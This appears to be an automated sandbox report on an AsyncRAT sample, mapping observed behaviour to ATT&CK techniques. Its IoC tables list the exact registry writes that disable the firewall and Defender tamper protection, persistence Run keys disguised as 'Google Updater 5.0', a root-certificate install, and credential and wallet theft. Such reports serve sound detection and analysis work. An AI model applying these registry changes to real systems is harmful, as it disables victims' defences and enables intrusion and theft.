asyncrat | 390d7472201e8ea9bdc6c7fa2b4ab1f6faca02071f1f997037cc5f52759a9cb6

Modify Existing Service

T1031

Processes:

explorer.exe1k1k37mkkua_1.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\EnableFirewall = "0"	explorer.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	1k1k37mkkua_1.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	1k1k37mkkua_1.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	1k1k37mkkua_1.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\EnableFirewall = "0"	1k1k37mkkua_1.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	explorer.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	explorer.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

regedit.exe

description ioc process

Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\ImagePath regedit.exe
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\ImagePath	regedit.exe

Async RAT payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral31/memory/4196-113-0x000000000040C76E-mapping.dmp	asyncrat
behavioral31/memory/4196-112-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral31/memory/3812-493-0x000000000040C76E-mapping.dmp	asyncrat

ModiLoader First Stage 2 IoCs

Processes:

resource	yara_rule
behavioral31/memory/1108-172-0x00000000041A0000-0x00000000041FC000-memory.dmp	modiloader_stage1
behavioral31/memory/5864-504-0x0000000002A80000-0x0000000002ADC000-memory.dmp	modiloader_stage1

Disables taskbar notifications via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490
Downloads MZ/PE file

Executes dropped EXE 31 IoCs

Processes:

1k1k37mkkua_1.exe1k1k37mkkua_1.exei5ko1gq3.exeFGbfttrev.exeFDvbcgfert.exe7ygs3iyoe553.exei5ko1gq3.exeFGbfttrev.exeFDvbcgfert.exeKh9HAGPN47.exesBoMkm8Emq.exexmaOzJ8fRh.exeZB2TkBHFSJ.exeKh9HAGPN47.exexmaOzJ8fRh.exeZB2TkBHFSJ.exeZB2TkBHFSJ.exef01qqtnh.exeazchgftrq.exe7ygs3iyoe553.exeOF6dBdG65L.exeo1tY2K7v0u.exepv3egjrqD5.exekxsejL2arD.exeOF6dBdG65L.exepv3egjrqD5.exeozchgftrq.exeazchgftrq.exekxsejL2arD.exeozchgftrq.execgge1ncr.exe

pid	process
892	1k1k37mkkua_1.exe
8	1k1k37mkkua_1.exe
1332	i5ko1gq3.exe
1868	FGbfttrev.exe
2044	FDvbcgfert.exe
2068	7ygs3iyoe553.exe
2100	i5ko1gq3.exe
2952	FGbfttrev.exe
3092	FDvbcgfert.exe
2684	Kh9HAGPN47.exe
1108	sBoMkm8Emq.exe
4504	xmaOzJ8fRh.exe
2176	ZB2TkBHFSJ.exe
4196	Kh9HAGPN47.exe
3380	xmaOzJ8fRh.exe
2796	ZB2TkBHFSJ.exe
3284	ZB2TkBHFSJ.exe
2556	f01qqtnh.exe
5972	azchgftrq.exe
5996	7ygs3iyoe553.exe
5548	OF6dBdG65L.exe
5864	o1tY2K7v0u.exe
4736	pv3egjrqD5.exe
6064	kxsejL2arD.exe
3812	OF6dBdG65L.exe
2932	pv3egjrqD5.exe
4884	ozchgftrq.exe
2588	azchgftrq.exe
5264	kxsejL2arD.exe
4964	ozchgftrq.exe
1008	cgge1ncr.exe

Sets file execution options in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

explorer.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion explorer.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorer.exe

Loads dropped DLL 18 IoCs

Processes:

i5ko1gq3.exeFDvbcgfert.exe7ygs3iyoe553.exeozchgftrq.exe

pid	process
2100	i5ko1gq3.exe
2100	i5ko1gq3.exe
2100	i5ko1gq3.exe
2100	i5ko1gq3.exe
2100	i5ko1gq3.exe
2100	i5ko1gq3.exe
3092	FDvbcgfert.exe
3092	FDvbcgfert.exe
3092	FDvbcgfert.exe
5996	7ygs3iyoe553.exe
5996	7ygs3iyoe553.exe
5996	7ygs3iyoe553.exe
5996	7ygs3iyoe553.exe
5996	7ygs3iyoe553.exe
5996	7ygs3iyoe553.exe
4964	ozchgftrq.exe
4964	ozchgftrq.exe
4964	ozchgftrq.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 3 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

ZB2TkBHFSJ.exekxsejL2arD.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	ZB2TkBHFSJ.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	ZB2TkBHFSJ.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	kxsejL2arD.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 13 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

7ygs3iyoe553.exesBoMkm8Emq.exeexplorer.exeregedit.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	7ygs3iyoe553.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Google Updater 5.0 = "\"C:\\ProgramData\\Google Updater 5.0\\1k1k37mkkua.exe\""	7ygs3iyoe553.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Zsle = "C:\\Users\\Admin\\AppData\\Local\\elsZ.url"	sBoMkm8Emq.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Google Updater 5.0 = "\"C:\\ProgramData\\Google Updater 5.0\\1k1k37mkkua.exe\""	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Google Updater 5.0 = "C:\\ProgramData\\Google Updater 5.0\\1k1k37mkkua.exe"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Google Updater 5.0 = "\"C:\\ProgramData\\Google Updater 5.0\\1k1k37mkkua.exe\""	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Google Updater 5.0 = "\"C:\\ProgramData\\Google Updater 5.0\\1k1k37mkkua.exe\""	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	7ygs3iyoe553.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Google Updater 5.0 = "\"C:\\ProgramData\\Google Updater 5.0\\1k1k37mkkua.exe\""	7ygs3iyoe553.exe

Checks for any installed AV software in registry 1 TTPs 2 IoCs

Security Software Discovery

T1063

Processes:

1k1k37mkkua_1.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\AntiVirService	1k1k37mkkua_1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\avast! Antivirus	1k1k37mkkua_1.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

Processes:

ou55sg33s_1.exe1k1k37mkkua_1.exei5ko1gq3.exe7ygs3iyoe553.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ou55sg33s_1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1k1k37mkkua_1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	i5ko1gq3.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7ygs3iyoe553.exe

Drops desktop.ini file(s) 3 IoCs

Processes:

explorer.exei5ko1gq3.exe7ygs3iyoe553.exe

description	ioc	process
File opened for modification	C:\ProgramData\Google Updater 5.0\desktop.ini	explorer.exe
File created	C:\Users\Admin\AppData\LocalLow\n9h9r91h8fna789q\desktop.ini	i5ko1gq3.exe
File created	C:\Users\Admin\AppData\LocalLow\n9h9r91h8fna789q\desktop.ini	7ygs3iyoe553.exe

Maps connected drives based on registry 3 TTPs 4 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

i5ko1gq3.exe7ygs3iyoe553.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	i5ko1gq3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	i5ko1gq3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	7ygs3iyoe553.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	7ygs3iyoe553.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 27 IoCs

Processes:

ou55sg33s_1.exeexplorer.exe1k1k37mkkua_1.exei5ko1gq3.exei5ko1gq3.exeFGbfttrev.exeFDvbcgfert.exe7ygs3iyoe553.exe

pid	process
4240	ou55sg33s_1.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
8	1k1k37mkkua_1.exe
1332	i5ko1gq3.exe
1332	i5ko1gq3.exe
1332	i5ko1gq3.exe
1332	i5ko1gq3.exe
2100	i5ko1gq3.exe
2100	i5ko1gq3.exe
2952	FGbfttrev.exe
2952	FGbfttrev.exe
3092	FDvbcgfert.exe
3092	FDvbcgfert.exe
2068	7ygs3iyoe553.exe
2068	7ygs3iyoe553.exe
2068	7ygs3iyoe553.exe
2068	7ygs3iyoe553.exe

Suspicious use of SetThreadContext 16 IoCs

Processes:

ou55sg33s_1.exe1k1k37mkkua_1.exei5ko1gq3.exeFGbfttrev.exeFDvbcgfert.exeKh9HAGPN47.exexmaOzJ8fRh.exeZB2TkBHFSJ.exe7ygs3iyoe553.exeOF6dBdG65L.exepv3egjrqD5.exeazchgftrq.exekxsejL2arD.exesBoMkm8Emq.exeozchgftrq.exeo1tY2K7v0u.exe

description	pid	process	target process
PID 4804 set thread context of 4240	4804	ou55sg33s_1.exe	ou55sg33s_1.exe
PID 892 set thread context of 8	892	1k1k37mkkua_1.exe	1k1k37mkkua_1.exe
PID 1332 set thread context of 2100	1332	i5ko1gq3.exe	i5ko1gq3.exe
PID 1868 set thread context of 2952	1868	FGbfttrev.exe	FGbfttrev.exe
PID 2044 set thread context of 3092	2044	FDvbcgfert.exe	FDvbcgfert.exe
PID 2684 set thread context of 4196	2684	Kh9HAGPN47.exe	Kh9HAGPN47.exe
PID 4504 set thread context of 3380	4504	xmaOzJ8fRh.exe	xmaOzJ8fRh.exe
PID 2176 set thread context of 3284	2176	ZB2TkBHFSJ.exe	ZB2TkBHFSJ.exe
PID 2068 set thread context of 5996	2068	7ygs3iyoe553.exe	7ygs3iyoe553.exe
PID 5548 set thread context of 3812	5548	OF6dBdG65L.exe	OF6dBdG65L.exe
PID 4736 set thread context of 2932	4736	pv3egjrqD5.exe	pv3egjrqD5.exe
PID 5972 set thread context of 2588	5972	azchgftrq.exe	azchgftrq.exe
PID 6064 set thread context of 5264	6064	kxsejL2arD.exe	kxsejL2arD.exe
PID 1108 set thread context of 3604	1108	sBoMkm8Emq.exe	ieinstal.exe
PID 4884 set thread context of 4964	4884	ozchgftrq.exe	ozchgftrq.exe
PID 5864 set thread context of 2760	5864	o1tY2K7v0u.exe	ieinstal.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

ou55sg33s_1.exeexplorer.exe1k1k37mkkua_1.exeFDvbcgfert.exeozchgftrq.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ou55sg33s_1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	explorer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	1k1k37mkkua_1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	1k1k37mkkua_1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FDvbcgfert.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ozchgftrq.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ou55sg33s_1.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

5396 timeout.exe
980 timeout.exe

pid	process
5396	timeout.exe
980	timeout.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	explorer.exe

Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

3672 taskkill.exe
4776 taskkill.exe
2504 taskkill.exe
2564 taskkill.exe

pid	process
3672	taskkill.exe
4776	taskkill.exe
2504	taskkill.exe
2564	taskkill.exe

Modifies Internet Explorer Protected Mode 1 TTPs 4 IoCs

Modify Registry

Processes:

explorer.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\2500 = "3"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\2500 = "3"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\2500 = "3"	explorer.exe

Modifies Internet Explorer Protected Mode Banner 1 TTPs 1 IoCs

Modify Registry

Processes:

explorer.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\NoProtectedModeBanner = "1"	explorer.exe

Modifies Internet Explorer settings 1 TTPs 5 IoCs

adware spyware

Modify Registry

Processes:

regedit.exeexplorer.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager	regedit.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\DownloadVersionList = "0"	regedit.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\DownloadVersionList = "0"	explorer.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exe

pid process

5704 reg.exe
6024 reg.exe
5024 reg.exe
4716 reg.exe

pid	process
5704	reg.exe
6024	reg.exe
5024	reg.exe
4716	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

sBoMkm8Emq.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	sBoMkm8Emq.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	sBoMkm8Emq.exe

NTFS ADS 2 IoCs

Processes:

explorer.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\1k1k37mkkua_1.exe:150EFC68	explorer.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\1k1k37mkkua_1.exe:150EFC68	explorer.exe

Runs regedit.exe 1 IoCs

Processes:

regedit.exe

pid process

1164 regedit.exe

pid	process
1164	regedit.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

explorer.exexmaOzJ8fRh.exe

pid	process
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
728	explorer.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe

Suspicious behavior: MapViewOfSection 9 IoCs

Processes:

ou55sg33s_1.exe1k1k37mkkua_1.exeexplorer.exei5ko1gq3.exeFGbfttrev.exeFDvbcgfert.exe

pid	process
4240	ou55sg33s_1.exe
4240	ou55sg33s_1.exe
8	1k1k37mkkua_1.exe
8	1k1k37mkkua_1.exe
728	explorer.exe
728	explorer.exe
1332	i5ko1gq3.exe
1868	FGbfttrev.exe
2044	FDvbcgfert.exe

Suspicious behavior: RenamesItself 1 IoCs

Processes:

ou55sg33s_1.exe

pid process

4240 ou55sg33s_1.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

ou55sg33s_1.exeexplorer.exe1k1k37mkkua_1.exeregedit.exetaskkill.exeKh9HAGPN47.exexmaOzJ8fRh.exexmaOzJ8fRh.exe

description	pid	process
Token: SeDebugPrivilege	4240	ou55sg33s_1.exe
Token: SeRestorePrivilege	4240	ou55sg33s_1.exe
Token: SeBackupPrivilege	4240	ou55sg33s_1.exe
Token: SeLoadDriverPrivilege	4240	ou55sg33s_1.exe
Token: SeCreatePagefilePrivilege	4240	ou55sg33s_1.exe
Token: SeShutdownPrivilege	4240	ou55sg33s_1.exe
Token: SeTakeOwnershipPrivilege	4240	ou55sg33s_1.exe
Token: SeChangeNotifyPrivilege	4240	ou55sg33s_1.exe
Token: SeCreateTokenPrivilege	4240	ou55sg33s_1.exe
Token: SeMachineAccountPrivilege	4240	ou55sg33s_1.exe
Token: SeSecurityPrivilege	4240	ou55sg33s_1.exe
Token: SeAssignPrimaryTokenPrivilege	4240	ou55sg33s_1.exe
Token: SeCreateGlobalPrivilege	4240	ou55sg33s_1.exe
Token: 33	4240	ou55sg33s_1.exe
Token: SeDebugPrivilege	728	explorer.exe
Token: SeRestorePrivilege	728	explorer.exe
Token: SeBackupPrivilege	728	explorer.exe
Token: SeLoadDriverPrivilege	728	explorer.exe
Token: SeCreatePagefilePrivilege	728	explorer.exe
Token: SeShutdownPrivilege	728	explorer.exe
Token: SeTakeOwnershipPrivilege	728	explorer.exe
Token: SeChangeNotifyPrivilege	728	explorer.exe
Token: SeCreateTokenPrivilege	728	explorer.exe
Token: SeMachineAccountPrivilege	728	explorer.exe
Token: SeSecurityPrivilege	728	explorer.exe
Token: SeAssignPrimaryTokenPrivilege	728	explorer.exe
Token: SeCreateGlobalPrivilege	728	explorer.exe
Token: 33	728	explorer.exe
Token: SeDebugPrivilege	8	1k1k37mkkua_1.exe
Token: SeRestorePrivilege	8	1k1k37mkkua_1.exe
Token: SeBackupPrivilege	8	1k1k37mkkua_1.exe
Token: SeLoadDriverPrivilege	8	1k1k37mkkua_1.exe
Token: SeCreatePagefilePrivilege	8	1k1k37mkkua_1.exe
Token: SeShutdownPrivilege	8	1k1k37mkkua_1.exe
Token: SeTakeOwnershipPrivilege	8	1k1k37mkkua_1.exe
Token: SeChangeNotifyPrivilege	8	1k1k37mkkua_1.exe
Token: SeCreateTokenPrivilege	8	1k1k37mkkua_1.exe
Token: SeMachineAccountPrivilege	8	1k1k37mkkua_1.exe
Token: SeSecurityPrivilege	8	1k1k37mkkua_1.exe
Token: SeAssignPrimaryTokenPrivilege	8	1k1k37mkkua_1.exe
Token: SeCreateGlobalPrivilege	8	1k1k37mkkua_1.exe
Token: 33	8	1k1k37mkkua_1.exe
Token: SeCreatePagefilePrivilege	8	1k1k37mkkua_1.exe
Token: SeCreatePagefilePrivilege	8	1k1k37mkkua_1.exe
Token: SeCreatePagefilePrivilege	8	1k1k37mkkua_1.exe
Token: SeCreatePagefilePrivilege	8	1k1k37mkkua_1.exe
Token: SeCreatePagefilePrivilege	8	1k1k37mkkua_1.exe
Token: SeDebugPrivilege	1164	regedit.exe
Token: SeRestorePrivilege	1164	regedit.exe
Token: SeBackupPrivilege	1164	regedit.exe
Token: SeLoadDriverPrivilege	1164	regedit.exe
Token: SeCreatePagefilePrivilege	1164	regedit.exe
Token: SeShutdownPrivilege	1164	regedit.exe
Token: SeTakeOwnershipPrivilege	1164	regedit.exe
Token: SeChangeNotifyPrivilege	1164	regedit.exe
